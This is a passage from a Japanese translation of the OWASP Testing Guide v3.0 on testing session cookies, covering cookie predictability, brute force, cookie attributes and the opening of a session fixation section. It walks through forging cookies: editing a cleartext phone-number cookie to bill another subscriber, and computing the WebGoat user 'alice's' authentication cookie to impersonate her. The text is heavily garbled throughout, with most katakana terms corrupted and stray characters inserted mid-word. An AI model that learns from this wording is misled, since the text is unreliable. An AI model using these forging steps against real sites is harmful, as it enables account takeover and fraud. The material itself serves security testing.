格 を 併 せ 持 たなくてはなりません。 各 々の 性 格 はキッカーを 攻 撃 の 別 な 種 類 から 守 ることを 目 指 しています。これらの 性 格<br />

は 以 下 のように 要 約 されます:<br />

159


1. 予 測 不 可 能 性 : キッカーは 何 らかの 予 測 困 難 なデーソを 格 納 しなくてはなりません。 妥妞 当 なキッカーを 偽 造造 するの<br />

が 困 難 なほど、 正 当 なヤーゴのスッサュヱに 押 し 入 るのが 困 難 になります。 攻 撃 者 が 正 当 なヤーゴの 活 動 中 のスッ<br />

サュヱで 使 わわれているキッカーを 推 測 できると、 彼 又 は 彼 女 は(スッサュヱを 乗 っ 取 ることにより)そのヤーゴに 完媍 全 に<br />

なりすませます。キッカーを 予 測 不 可 能 にするためには、 乱 数 値 や 暗 号 又 はその 両 方 が 使 えます。<br />

2. 不 正 変 更 への 耐 性 :キッカーは 修 正 を 加 える 不 正 な 試 みに 抵 抗 しなくてはなりません。IsAdmin=No というようなキ<br />

ッカーを 受 け 取 ると、アプヨクーサュヱが( 例 えばキッカーに 値 の 暗 号 化 されたハッサャを 付 加 するといった) 二 重 テ<br />

シトをしない 限 り、それを 修 正 して 管 理 者 権 限 を 得 るのは 容 易 なことです。<br />

3. 有 効 期 限 : 決 定 的 に 重 要 なキッカーは 再 生 される 危 険 性 を 避遪 けるために、 適遚 切 な 時 間 範 囲 だけ 有 効 でなくてはな<br />

らず、その 後 ディシキやミムヨから 削 除 されなくてはなりません。これは、スッサュヱ 間 で 記 憶 しておく 必 要 のある 決<br />

定 的 に 重 要 とは 言 えないデーソ( 例 えばコイトのラッキ・アヱド・フィーラ)を 格 納 するキッカーにはあてはまりません。<br />

4. 「secure」フョギ: スッサュヱの 完媍 全 性 にとって 決 定 的 に 重 要 な 値 を 持 つキッカーは、 盗 聴 の 防 止 のためにその 送 信<br />

を 暗 号 化 された 経 路 でだけ 許 すように、このフョギを 有 効 にしておくべきです。<br />

ここでの 対 処 方 法 は、 十 分 な 個 数 のキッカーの 例 を 収 集 し、それらの 値 のパソーヱを 探 し 始妵 めることです。「 十 分 な」の 正 確<br />

な 意 味 は、キッカー 生 成 手 法 が 非 常 に 破 りやすい 場 合 の 一 握 りのコヱプラから、 何 らかの 数 学婲 的 な 分 析 ( 例 えばォイ 二 乗 、<br />

アトョキソー。これ 以 上 の 情 報 については 後 述 )を 進逭 める 必 要 がある 場 合 の 数 千 個 まで 広 がります。<br />

スッサュヱの 状牮 態 が 収 集 されたキッカーに 重 大 な 影 響 を 持 つので、アプヨクーサュヱのワローキフルーに 特牐 に 注 意 を 払 うことが<br />

大 切 です。 認 証 される 前 に 収 集 されたキッカーは、 認 証 後 に 得 られたキッカーとは 非 常 に 異 なるかもしれません。<br />

念 頭 に 置 き 続 けなくてはならないもう 一 つの 観 点 が 時 間 です。キッカーの 値 の 中 で 時 間 が 一 役 買 っている 可 能 性 がある 場<br />

合 (コーバはキッカーの 値 の 一 部邪 にソイマシソヱプを 使 うかもしれません)、キッカーを 取 得 した 時 には 常 に 正 確 な 時 間 を 記<br />

録 してください。 記 録 された 時 間 は 現 地 時 間 や HTTP 応 答 に 含 まれるコーバのソイマシソヱプ( 又 はその 両 方 )かもしれませ<br />

ん。<br />

収 集 された 値 を 分 析 する 時 には、そのキッカーの 値 に 影 響 しうるすべての 変 数 を 評 価 し、 一 度 に 一 つずつそれらを 変 化 さ<br />

せるようにしてください。 同 じキッカーの 修 正 爮 をコーバに 渡 すことは、アプヨクーサュヱがどのようにキッカーを 読 み 取 って<br />

処 理 するかを 理 解 するのにとても 役 立 ちます。<br />

この 段 階 で 実 行 される 調 査 には、 以 下 のような 例 が 含 まれます:<br />

• キッカー 内 でどのような 文 字 スットが 使 用 されていますか? キッカーは 数 値 を 持 っていますか? 英 数 字 は? 16 進逭 数<br />

は? 期 待 される 文 字 スットに 属 さない 文 字 群 をキッカーに 挿 入 すると、 何 が 起 こりますか?<br />

• 異 なる 下 位 部邪 品 から 成 るキッカーは 異 なる 情 報 断 爭 を 運遀 んでいますか? 異 なる 部邪 品 群 はどのように 分 離 されていま<br />

すか? どんな 区 切 り 記 号 で? キッカーの 部邪 品 群 の 中 にはより 高 度 な 可 変 性 を 持 つものもあり、 定 数 値 のものもあれ<br />

ば、 限 られた 組 の 値 だけをとりそうなものもあるでしょう。キッカーを 基 本 的 な 構 成 要 素 に 分 解 するのが、 最 初 の 重<br />

要 な 段 階 です。 見 つけやすい 構 造造 を 持 つキッカーの 例 を 以 下 に 示 します:<br />

ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q<br />

この 例 の 中 では、5 つの 異 なるフィーラドが 見 つかり、 以 下 のように 異 なるソイプのデーソを 運遀 びます:<br />

ID – 16 進逭 数<br />

160


<strong>OWASP</strong> Testing Guide v3.0<br />

CR – シムーラ 型 の 整 数<br />

TM と LM – ョーザ 型 の 整 数 。 (そして 不 思 議 なことにそれらは 同 じ 値 を 持 っています。 一 方 を 変 更 したら 何 が 起 こるか 見 て<br />

みる 価 値 があります。)<br />

S – 英 数 字<br />

区 切 り 文 字 が 使 わわれていない 時 でも、 十 分 なコヱプラがあれば 助 かります。 例 として、 以 下 の 文 字 列 を 見 てみましょう:<br />

0123456789abcdef<br />

ブルーテ・フォース 攻 撃<br />

予 測 可 能 性 と 不 規 則 性 に 関 した 疑 問 から、ブラート・」フェーシ 攻 撃 が 必 ず 導 き 出 されます。アプヨクーサュヱのスッサュヱ 継<br />

続 時 間 と 有 効 期 限 と 共 に、スッサュヱ ID 群 の 変 更 を 考 えなくてはなりません。もしスッサュヱ ID 群 の 変 化 が 比 較 的 小 さくて、<br />

スッサュヱ ID の 有 効 期 限 が 長 いと、ブラート・フェーシ 攻 撃 がはるかに 成 功 しやすくなります。 長 いスッサュヱ ID(さもなけれ<br />

ば 非 常 に 大 きな 変 動 幅 のあるもの)と 短 い 期 限 により、ブラート・」フェーシ 攻 撃 に 成 功 するのがはるかに 困 難 になります。<br />

• すべての 可 能 なスッサュヱ ID 群 についてブラート・」フェーシ 攻 撃 を 行 うにはどのくらいの 時 間 がかかりますか?<br />

• スッサュヱ ID 空 間 はブラート・フェーシ 攻 撃 を 防 ぐのに 十 分 なほど 大 きいですか? 例 えば、 妥妞 当 な 寿 命 と 比 べた 場<br />

合 、カーの 長 さは 十 分 ですか?<br />

• 別 のスッサュヱ ID で 接 続 を 試 みる 際 の 遅逼 延 は、この 攻 撃 のヨシキを 軽 減 しますか?<br />

クチキーの 操 作<br />

キッカーから 得 られる 情 報 のあまりの 多 さに 圧 倒 されたら、キッカーの 修 正 を 始妵 める 潮 時 です。ここでの 手 法 は 分 析 段 階 の<br />

結 果 に 大 きく 依 存 しますが、いくつかの 例 を 示 すことは 可 能 です:<br />

例 1: クリア・テキステ 中 の 識 別 子 を 持 つクチキー<br />

図 1 を 見 ると、アプヨクーサュヱ 内 のキッカー 操 作 の 例 があり、 移 動 体 通 信 事 業 者 の 申 込 み 者 がイヱソーネット 経 由 で MMS<br />

ミッスーザを 送 れます。<strong>OWASP</strong> の WebScarab 又 は BurpProxy を 使 うアプヨクーサュヱを 操 作 すると、 認 証 処 理 の 後 で<br />

msidnOneShot キッカーが 送 信 者 の 電 話 番 号 を 格 納 しているのがわわかります。このキッカーはコービシ 支 払 処 理 のためにヤ<br />

ーゴを 識 別 するために 使 わわれます。しかし 電 話 番 号 はそのまま 格 納 されていて、どのような 方 法 でも 保 護 されてはいません。<br />

したがって、そのキッカーを msidnOneShot=3*******59 から msidnOneShot=3*******99 に 変 更 すると、3*******99 の 番<br />

号 を 所 有 するムバイラ・ヤーゴが MMS ミッスーザ 代 を 支 払 うことになります。<br />

161


クリア・テキステ 内 に 識 別 子 を 持 ったクチキーの 例<br />

例 2: 推 測 可 能 なクチキー<br />

推 測 しやすい 値 を 持 つキッカーで 他 のヤーゴになりすますのに 使 える 例 は、<strong>OWASP</strong> の WebGoat の、「 弱 い 認 証 キッカー」<br />

課 程 にあります。この 例 では、2 組 のヤーゴ 名 とパシワロードの 対 から 始妵 めます。 (ヤーゴ「webgoat」と「aspect」に 関 係 してい<br />

ます。) 目 標 は、キッカーの 生 成 ルザッキを 割 り 出 して、ヤーゴ「alice」のアォウヱトを 破 ることです。これらの 既 知 の 二 組 を 使 っ<br />

てアプヨクーサュヱに 認 証 することにより、 対 応 する 認 証 キッカーを 収 集 できます。 表 1 を 見 ると、 各 ヤーゴ 名 とパシワロードの<br />

対 を 正 確 なルギイヱ 時 刻 と 共 に、 対 応 するキッカーに 紐 づける 関 係 がわわかります。<br />

ヤーザ 名 パスワローデ 認 証 クチキー – 時 刻<br />

webgoat Webgoat<br />

65432ubphcfx – 10/7/2005-10:10<br />

65432ubphcfx – 10/7/2005-10:11<br />

aspect Aspect<br />

65432udfqtb – 10/7/2005-10:12<br />

65432udfqtb – 10/7/2005-10:13<br />

alice ????? ???????????<br />

表 1 クチキーの 収 集<br />

まず、 異 なるルギエヱにまたがって 認 証 キッカーは 同 じヤーゴについては 同 じであることに 注 目 でき、ヨプリイ 攻 撃 への 最 初<br />

の 重 大 な 脆 弱 性 であることがわわかります。( 例 えば XSS の 脆 弱 性 を 使 用 して) 妥妞 当 なキッカーを 盗 めると、 彼 又 は 彼 女 の 証 明<br />

書 について 知 ることなく 関 係 するヤーゴのスッサュヱを 乗 っ 取 るのに 使 えます。さらに、「webgoat」と「aspect」のキッカーが 共<br />

162


<strong>OWASP</strong> Testing Guide v3.0<br />

通 の 部邪 分 「65432u」を 持 つことがわわかります。「65432」は 一 定 の 整 数 のようです。「u」についてはどうでしょう? 「webgoat」と<br />

「aspect」の 文 字 列 はどちらも「t」という 文 字 で 終 わわっていて、「u」はその 次 の 文 字 です。そこで「webgoat」の 各 文 字 の 次 の<br />

文 字 を 見 てみましょう:<br />

1 番 目 の 文 字 : “w” + 1 =“x”<br />

2 番 目 の 文 字 : “e” + 1 = “f”<br />

3 番 目 の 文 字 : “b” + 1 = “c”<br />

4 番 目 の 文 字 : “g” + 1= “h”<br />

5 番 目 の 文 字 : “o” + 1= “p”<br />

6 番 目 の 文 字 : “a” + 1= “b”<br />

7 番 目 の 文 字 : “t” + 1 = “u”<br />

「xfchpbu」を 取 得 しましたが、それを 逆 転 するとまさに「ubphcfx」が 得 られます。そのアラゲヨジマはヤーゴ「aspect」にも 完媍<br />

全 にあてはまるので、ヤーゴ「alice」に 適遚 用 する 必 要 があるだけです。キッカーは 結 局 「65432fdjmb 」になります。<br />

「webgoat」の 証 明 書 を 用 意 してアプヨクーサュヱに 認 証 を 繰 り 返 し、 受 け 取 ったキッカーを alice について 計 算 しただけのキ<br />

ッカーで 置 き 換 えます……やった! 今 やアプヨクーサュヱは「webgoat」ではなく「alice」として 私 たちを 識 別 しています。<br />

ブルーテ・フォース<br />

正 しい 認 証 キッカーを 見 つけるためにブラート・」フェーシ 攻 撃 を 使 うのは、 非 常 に 時 間 のかかりうる 技 法 です。Foundstone<br />

Cookie Digger は 非 常 に 数 多 くのキッカーを 収 集 してくれ、キッカーの 長 さの 平 均 と 文 字 スットが 得 られます。さらにそのツー<br />

ラはキッカーの 異 なる 値 を 比 較 し、 引 き 続 いて 起 こるルギイヱ 毎 に 何 文 字 が 変 更 されているかを 調 べます。 引 き 続 いて 起 こ<br />

るルギイヱでキッカーの 値 が 同 じままでない 場 合 、Cookie Digger は 攻 撃 者 に、ブラート・フェーシの 試 みを 実 行 するためにさ<br />

らに 長 い 期 間 を 要 求 します。 以 下 の 表 に、すべて 公 開 コイトで 得 られた 10 回 の 認 証 の 試 みによるキッカーの 例 を 示 します。<br />

収 集 されたキッカーのすべての 型 について、キッカーに「ブラート・フェーシ」 攻 撃 を 仕 掛 けるために 必 要 な、 全 試 行 回 数 を<br />

示 します。<br />

クチキー 名<br />

ヤーザ 名 又 はパスワロ<br />

ーデを 持 っているか<br />

平 均 文<br />

字 数<br />

文 字 スチテ<br />

不 規 則 性<br />

指 数<br />

ブルーテ・フォースの 試 行 回 数<br />

X_ID 偽 820 , 0-9, a-f 52,43 2,60699329187639E+129<br />

COOKIE_IDENT_SERV 偽 54 , +, /-9, A-N, P-X, Z, a-z 31,19 12809303223894,6<br />

X_ID_YACAS 偽 820 , 0-9, a-f 52,52 4,46965862559887E+129<br />

COOKIE_IDENT 偽 54 , +, /-9, A-N, P-X, Z, a-z 31,19 12809303223894,6<br />

X_UPC 偽 172 , 0-9, a-f 23,95 2526014396252,81<br />

CAS_UPC 偽 172 , 0-9, a-f 23,95 2526014396252,81<br />

CAS_SCC 偽 152 , 0-9, a-f 34,65 7,14901878613151E+15<br />

COOKIE_X 偽 32<br />

, +, /, 0, 8, 9, A, C, E, K, M, O,<br />

Q, R, W-Y, e-h, l, m, q, s, u, y, z 0 1<br />

163


vgnvisitor 偽 26<br />

, 0-2, 5, 7, A, D, F-I, K-M, O-Q,<br />

W-Y, a-h, j-q, t, u, w-y, ~<br />

33,59 18672264717,3479<br />

X_ID<br />

5573657249643a3d333335363937393835323b4d736973646e3a3d333335363937393835323b537461746f436f6e73656e736f3a3d303b4d65746<br />

5573657249643a3d333335363937393835323b4d736973646e3a3d333335363937393835323b537461746f436f6e73656e736f3a3d303b4d65746<br />

表 2 CookieDigger レポーテの 例<br />

オーバーフロー<br />

キッカーの 値 は、コーバから 受 け 取 られた 時 には、 一 つ 以 上 の 変 数 に 格 納 されることになるので、その 変 数 が 境 界 を 侵 す<br />

機 会 は 常 にあります。キッカーをエーバーフルーさせると、バッファ・エーバーフルー 攻 撃 のすべての 結 果 につながりえます。<br />

初 期 の 目 標 は 普 通 コービシ 不 能 に 陥 れることですが、 遠遒 隔 ケードの 実 行 も 可 能 です。 通 常 はしかしながら、 遠遒 隔 ケードの 実<br />

行 には 遠遒 隔 サシテマのアーカテキタメについてある 程 度 詳 細 な 知 識 が 必 要 です。というのも、 挿 入 されるケードを 適遚 切 に 作<br />

成 し 配郤 置 する 正 確 なエフスットを 計 算 するために、バッファ・エーバーフルー 技 術 は 基 盤 となるエヘリーティヱギ・」サシテマと<br />

ミムヨ 管 理 に 強 く 依 存 するからです。<br />

例 : http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html<br />

ギレアボチクステステと 例<br />

もしスッサュヱ 管 理 シカーボの 実 装 にアキスシすれば、 以 下 をタェッキできます<br />

• ョヱゾマ・スッサュヱ・トーキヱ<br />

キョイアヱトへ 発 行 されたスッサュヱ ID やキッカーは、 簡 単 に 予 測 できるべきではありません。(キョイアヱトの IP アドリシのよ<br />

うな、 予 測 可 能 な 変 数 に 基 づいた 線 形 アラゲヨジマを 使 わわないでください。) 256 ビットの 長 さの 鍵 を 使 った 暗 号 アラゲヨジ<br />

マ(AES のような)がお 勧 めです。<br />

• トーキヱ 長<br />

スッサュヱ ID の 長 さは 最 低 50 文 字 はあります。<br />

• スッサュヱ・ソイマアウト<br />

スッサュヱ・トーキヱは 定 義 されたソイマアウトを 持 つべきです。(アプヨクーサュヱに 管 理 されたデーソに 依 存 します。)<br />

• キッカー 構 成 :<br />

o<br />

o<br />

o<br />

non-persistent: RAM ミムヨだけ<br />

secure (HTTPS タメネラでだけ 設 定 ): キッカーの 設 定 : cookie=data; path=/; domain=.aaa.it; secure<br />

HTTPOnly (シキヨプトでは 読 めません): キッカーの 設 定 : cookie=data; path=/; domain=.aaa.it; HTTPOnly<br />

164


<strong>OWASP</strong> Testing Guide v3.0<br />

さらに 多 くの 情 報 についてはこちらを 御 覧 ください: キッカーの 属 性 のテシト<br />

参 考 文 献<br />

ホワロアテペーパー<br />

• RFC 2965 「HTTP 状牮 態 管 理 機 構 (“HTTP State Management Mechanism”)」<br />

• RFC 1750 「スカャヨティのための 不 規 則 性 の 推 奨 (“Randomness Recommendations for Security”)」<br />

• 「シトリヱザ・アトョキソと TCP/IP サークヱシ 番 号 分 析 (“Strange Attractors and TCP/IP Sequence Number Analysis”)」:<br />

http://www.bindview.com/Services/Razor/Papers/2001/tcpseq.cfm<br />

• 相 関 係 数 (Correlation Coefficient): http://mathworld.wolfram.com/CorrelationCoefficient.html<br />

• ENT: http://fourmilab.ch/random/<br />

• http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html<br />

• Darrin Barrall: 「 自 動 化 キッカー 分 析 ("Automated Cookie Analysis")」–<br />

http://www.spidynamics.com/assets/documents/SPIcookies.pdf<br />

• Gunter Ollmann: 「ウェブ・プーシのスッサュヱ 管 理 ("Web Based Session Management")」-<br />

http://www.technicalinfo.net<br />

• Matteo Meucci:「MMS 詐 欺 ("MMS Spoofing")」- www.owasp.org/images/7/72/MMS_Spoofing.ppt<br />

ヂール<br />

• <strong>OWASP</strong> の WebScarab はスッサュヱ・トーキヱの 分 析 機 構 を 特牐 徴 としています。「スッサュヱ 識 別 子婡 の 強 度 を Web Scarab でテシト<br />

する 方 法 」をお 読 みください。<br />

• Foundstone CookieDigger - http://www.foundstone.com/resources/proddesc/cookiedigger.htm<br />

4.5.2 クチキーの 属 性 のテステ(<strong>OWASP</strong>-SM-002)<br />

概 要<br />

キッカーは、( 典 型 的 には 他 のヤーゴをねらう) 悪 意 を 持 ったヤーゴにとって、 鍵 となる 攻 撃 の 担 体 であることが 多 く、アプヨク<br />

ーサュヱには 常 にキッカーの 保 護 のための 不 断 の 努 力 を 続 ける 義 務 があります。この 節 では、アプヨクーサュヱがキッカーを<br />

割 り 当 てる 時 に 必 要 な 予 防 措 置 をどのようにとれるか、これらの 属 性 が 正 しく 構 成 されていることをどのようにテシトするかを<br />

見 てゆきます。<br />

165


問 題 の 記 述<br />

特牐 に 動 的 なウェブ・アプヨクーサュヱでは、HTTP のような 状牮 態 を 持 たないプルトケラを 保 守 する 必 要 があるので、キッカーの<br />

安 全 な 使 用 の 重 要 さはいくら 強 調 しても 足 りません。キッカーの 重 要 性 を 理 解 するには、それらが 主 に 何 のために 使 用 され<br />

るかを 理 解 することが 欠 かせません。これらは 普 通 、 主 にスッサュヱの 認 証 / 認 可 トーキヱとして 使 わわれたり、 一 時 的 なデーソ<br />

収 納 庫 として 使 わわれたりします。そのため、 仮 に 攻 撃 者 が 何 らかの 手 段 ( 例 えばキルシコイト・シキヨプティヱギの 脆 弱 性 を 利<br />

用 したり 暗 号 化 されていないスッサュヱを 傍 受 したりする 方 法 )でスッサュヱ・トーキヱを 取 得 できると、 彼 / 彼 女 はこのキッカー<br />

を 使 って 妥妞 当 なスッサュヱを 乗 っ 取 れてしまいます。さらに、キッカーは 複 数 のヨキウシトにまたがって 状牮 態 を 保 守 するために<br />

設 定 されます。HTTP は 状牮 態 を 持 たないので、 受 け 取 っているヨキウシトが 現 在 のスッサュヱの 一 部邪 なのか、 新 たなスッサュヱ<br />

の 始妵 まりなのか、 何 らかの 型 の 識 別 子婡 がない 限 りコーバには 判 断 できません。 他 の 手 法 も 利 用 可 能 ですが、この 識 別 子婡 は<br />

キッカーであることが 非 常 に 一 般 的 です。 複 数 のヨキウシトにまたがってスッサュヱの 状牮 態 を 追 跡 し 続 ける 必 要 のある、 数 多 く<br />

の 異 なるアプヨクーサュヱの 形 式 が 存 在 することは、 想 像 に 難 くありません。 最 初 に 思 いつくのはエヱョイヱ・シトアでしょう。<br />

ヤーゴがサュッピヱギ・ォートに 複 数 のアイテマを 加 えると、アプヨクーサュヱはこのデーソを、 引 き 続 くヨキウシトの 間 保 持 し 続<br />

けなくてはなりません。キッカーはこの 仕 事 にごく 一 般 的 に 使 わわれます。アプヨクーサュヱの HTTP リシホヱシ 内 で、アプヨク<br />

ーサュヱにより Set-Cookie 命 令 を 使 い 設 定 され、 普 通 (すべての 現 代 的 なウェブ・ブョウゴの 場 合 のように、キッカーが 有 効<br />

で、コホートされていれば)「 名 前 = 値 」の 形 式 です。 一 旦 アプヨクーサュヱがブョウゴに、 特牐 定 のキッカーを 使 うように 言 うと、<br />

続 く 各 ヨキウシトでブョウゴはこのキッカーを 送 ります。 エヱョイヱ・サュッピヱギォートからのアイテマ、これらのアイテマの 個<br />

数 、 個 人 情 報 、ヤーゴ ID などのデーソを、キッカーは 格 納 できます。 内 部邪 の 情 報 が 機 密 情 報 としての 性 格 を 持 つため、 格<br />

納 する 情 報 を 保 護 する 試 みを 通 じ、キッカーは 通 常 符 号 化 されたり 暗 号 化 されたりします。しばしば、 引 き 続 くヨキウシトでは<br />

(スポケルヱで 区 切 られた) 複 数 のキッカーが 設 定 されます。 例 えばエヱョイヱ・シトアの 場 合 では、サュッピヱギ・ォートに 複 数<br />

のアイテマを 追 加 すると 新 たなキッカーが 設 定 されるかもしれません。 エヱョイヱ・シトア 型 アプヨクーサュヱではさらに、 一 旦<br />

ルギイヱすると、 認 証 のためのキッカー( 先 に 示 したようにスッサュヱ・トーキヱ)を 通 常 持 ち、 他 の 複 数 のキッカーを 使 って 購 入<br />

したいアイテマとその 補 助 情 報 (すなわわち 価 格 や 数 量 )を 識 別 します。<br />

さて、キッカーが 設 定 される 方 法 、 設 定 される 時 、 何 のために 使 わわれるか、なぜ 使 わわれるか、さらにそれらの 重 要 性 を 理 解 し<br />

たところで、キッカーにどのような 属 性 を 設 定 でき、それらが 安 全 かどうかをどのようにテシトするかを 見 てみましょう。 以 下 は<br />

各 キッカーに 設 定 できる 属 性 とそれらの 意 味 の 一 覧 です。 次 節 では 各 属 性 のテシトの 仕 方 に 注 目 します。<br />

• secure – この 属 性 はブョウゴに、ヨキウシトが HTTPS のような 安 全 なタメネラを 渡 って 送 られた 場 合 にだけキッカー<br />

を 送 るように 伝 えます。これは 暗 号 化 されていないヨキウシトを 越 えて 渡 されることからキッカーを 保 護 します。<br />

アプヨクーサュヱが HTTP と HTTPS の 両 方 を 越 えてアキスシできる 場 合 、キッカーがキヨア・」テカシトで 送 られうる 可 能 性 があり<br />

ます。<br />

• HttpOnly – この 属 性 は、キッカーが JavaScript のようなキョイアヱト 側 のシキヨプトを 介 してアキスシされるのを 許 さな<br />

いので、キルシコイト・」シキヨプティヱギのような 攻 撃 を 防 ぐのを 助 けるために 使 わわれます。すべてのブョウゴがこの 機<br />

能 をコホートしているわわけではないことに 注 意 してください。<br />

• domain – この 属 性 は、キッカーの URL を 要 求 されたコーバのドミイヱと 比 較 するために 使 わわれます。この 属 性 がそ<br />

のドミイヱかコブ・」ドミイヱと 合 致 する 場 合 には、 次 に path 属 性 が 調 べられます。<br />

指 定 されたドミイヱの 中 のベシトだけがそのドミイヱのためのキッカーを 設 定 できることに 注 意 してください。さらに domain 属<br />

性 は、コーバが 他 のドミイヱのための 任 意 のキッカーを 変 更 できないように、(.gov や.com といった)トップリプラドミイヱであ<br />

ることは 禁 止 されています。domain 属 性 が 設 定 されていないと、キッカーを 生 成 したコーバのベシト 名 が、domain のデフェ<br />

ラトの 値 として 使 わわれます。 例 えば、もしキッカーが app.domain.com のアプヨクーサュヱによって、domain 属 性 の 設 定 無 し<br />

166


<strong>OWASP</strong> Testing Guide v3.0<br />

に 設 定 されると、app.mydomain.com とその(hacker.app.mydomain.com などの)コブドミイヱへの 以 降 のすべてのヨキウシト<br />

でそのキッカーは 再 提 示 されますが、otherapp.mydomain.com のヨキウシトでは 再 提 示 されません。 開 発 者 がこの 制 約 を 緩<br />

めたい 場 合 、domain 属 性 を mydomain.com に 設 定 できます。 この 場 合 、そのキッカーは app.mydomain.com とそのコブド<br />

ミイヱのヨキウシトすべてに 送 られます。hacker.app.mydomain.com のようなコブドミイヱにも、さらに bank.mydomain.com<br />

にさえも 送 られてしまいます。 仮 にコブドミイヱ( 例 えば otherapp.mydomain.com)に 脆 弱 なコーバがあり、domain 属 性 の 設<br />

定 が( 例 えば mydomain.com のように) 緩 すぎると、 脆 弱 なコーバは(スッサュヱ・トーキヱのような)キッカーの 収 穫 に 使 わわれて<br />

しまうでしょう。<br />

• path – domain に 加 え、キッカーが 妥妞 当 な URL path を 指 定 できます。domain と path が 合 致 すると、ヨキウシトにお<br />

いてキッカーが 送 られます。<br />

domain 属 性 と 同 様 に、path 属 性 の 設 定 が 緩 すぎると、 同 じコーバの 他 のアプヨクーサュヱによる 攻 撃 に 対 し、アプヨクーサ<br />

ュヱを 脆 弱 なままに 放 置 することになります。 例 えば path 属 性 をウェブ・コーバのラート「/」に 設 定 すると、そのアプヨクーサ<br />

ュヱのキッカーは 同 じコーバ 内 のすべてのアプヨクーサュヱに 送 られてしまいます。<br />

• expires – この 属 性 は 永 続 的 なキッカーを 設 定 するのに 使 わわれます。 永 続 的 なキッカーは、 設 定 された 日 時 を 越 え<br />

るまで 期 限 切 れになりませんから。この 永 続 的 なキッカーは 期 限 切 れまで、このブョウゴ・スッサュヱと 以 降 のスッサ<br />

ュヱで 使 わわれます。 期 日 を 越 えると、ブョウゴはそのキッカーを 削 除 します。 一 方 、この 属 性 が 設 定 されないと、キッ<br />

カーは 現 在 のブョウゴ・スッサュヱでだけ 有 効 で、スッサュヱが 終 了 する 際 そのキッカーは 削 除 されます。<br />

ブラチクボチクステステと 例<br />

クチキー 属 性 の 脆 弱 性 をテステする:<br />

デーソの 受 渡 しを 横 取 りするプルキサやブョウゴのプョギイヱを 使 って、(Set-cookie 命 令 を 使 って)アプヨクーサュヱによりキッ<br />

カーが 設 定 されるすべてのリシホヱシを 取 得 し、 以 下 のようにキッカーを 調 べてください:<br />

• Secure 属 性 - キッカーが 機 密 性 の 高 い 情 報 を 格 納 していたりスッサュヱ・トーキヱであったりする 場 合 、 常 に 暗 号 化<br />

されたトヱネラを 使 って 受 け 渡 すべきです。 例 えば、アプヨクーサュヱにルギイヱし、スッサュヱ・トーキヱがキッカーを<br />

使 って 設 定 された 後 で、それが「;secure」フョギを 使 ってソギ 付 けされていることを 検 証 してください。そうでない 場<br />

合 、ブョウゴは HTTP を 使 ったような 暗 号 化 されていないタメネラを 介 してそのキッカーを 受 け 渡 しても 安 全 だと 信<br />

じています。<br />

• HttpOnly 属 性 -すべてのブョウゴがコホートしているわわけではないにせよ、この 属 性 は 常 に 設 定 されるべきです。こ<br />

の 属 性 はキッカーをキョイアヱト 側 のシキヨプトによるアキスシから 守 る 助 けになるので、「;HttpOnly」ソギが 設 定 され<br />

ているかどうか 調 べてください。<br />

• Domain 属 性 - domain の 設 定 が 緩 すぎないことを 検 証 してください。 上 述 のように、その 属 性 はキッカーを 受 け 取 る<br />

必 要 があるコーバのためにだけ 設 定 すべきです。 例 えば、アプヨクーサュヱがコーバ app.mysite.com 上 に 存 在 す<br />

る 場 合 、その 属 性 は「;domain=app.mysite.com」と 設 定 すべきであって、「;domain=.mysite.com 」と 設 定 すべきでは<br />

ありません。 後 者 の 設 定 では 他 の 潜 在 的 に 脆 弱 なコーバがキッカーを 受 け 取 るのを 許 してしまいます。<br />

• Path 属 性 - domain 属 性 と 同 様 に、path 属 性 の 設 定 が 緩 すぎないことを 検 証 してください。 仮 に domain 属 性 が 可<br />

能 な 限 り 強 固 に 構 成 されていたとしても、path がラート・ディリキトヨ「/」に 設 定 されていると、 同 じコーバ 上 のより 安<br />

全 でないアプヨクーサュヱに 対 して 脆 弱 かもしれません。 例 えば、アプヨクーサュヱが/myapp/に 存 在 する 場 合 、キッ<br />

カーの path が「;path=/myapp/」と 設 定 されていて、「;path=/」や「;path=/myapp」でないことを 検 証 してください。こ<br />

167


こで、 最 後 の「/」が myapp の 後 になくてはならないことに 注 意 してください。もしなければ、「myapp-exploited」のよ<br />

うな「myapp」に 合 致 するどのようなパシにでも、ブョウゴはキッカーを 送 ります。<br />

• Expires 属 性 - この 属 性 が 将 来 の 時 点 に 設 定 され、 機 密 性 の 高 い 情 報 を 含 まないことを 検 証 してください。 例 えば、<br />

あるキッカーが「; expires=Fri、 13-Jun-2010 13:45:29 GMT 」と 設 定 されていて、 現 在 2008 年 6 月 10 日 なら、キッカ<br />

ーを 調 査 したくなるはずです。そのキッカーがスッサュヱ・トーキヱでヤーゴのハード・ドョイブに 格 納 されている 場<br />

合 、このキッカーにアキスシできる 攻 撃 者 や( 管 理 者 のような)ルーォラ・ヤーゴは、このトーキヱを 再 送 することで 有<br />

効 期 限 が 過遃 ぎるまでアプヨクーサュヱにアキスシできます。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

• RFC 2965 – HTTP 状牮 態 管 理 機 構 (HTTP State Management Mechanism) - http://tools.ietf.org/html/rfc2965<br />

• RFC 2616 – ハイパーテカシト 転 送 プルトケラ(Hypertext Transfer Protocol) – HTTP 1.1 -<br />

http://tools.ietf.org/html/rfc2616<br />

ヂール<br />

データ 横 取 り 用 プロクシ:<br />

• <strong>OWASP</strong>: Webscarab - http://www.owasp.org/index.php/Category:<strong>OWASP</strong>_WebScarab_Project<br />

• Dafydd Stuttard: Burp proxy - http://portswigger.net/proxy/<br />

• MileSCAN: Paros Proxy - http://www.parosproxy.org/download.shtml<br />

ブラウザ・プラギアンヱ:<br />

• "TamperIE" for Internet Explorer - http://www.bayden.com/TamperIE/<br />

• Adam Judson: "Tamper Data" for Firefox - https://addons.mozilla.org/en-US/firefox/addon/966<br />

4.5.3 スチシュンヱの 固 定 化 のテステ(<strong>OWASP</strong>-SM_003)<br />

概 要<br />

成 功 したヤーゴの 認 証 の 後 、アプヨクーサュヱがキッカーを 更 新 しない 場 合 、スッサュヱの 固 定 化 による 脆 弱 性 が 見 つかる<br />

可 能 性 があり、ヤーゴが 攻 撃 者 に 知 られたキッカーを 使 わわざるを 得 ない 場 合 があります。その 場 合 、 攻 撃 者 がヤーゴ・」スッ<br />

サュヱを 盗 めるかもしれません。(スッサュヱ・ハイザメッキ)<br />

問 題 の 記 述<br />

スッサュヱの 固 定 化 による 脆 弱 性 は 以 下 の 場 合 に 起 こります:<br />

168


<strong>OWASP</strong> Testing Guide v3.0<br />

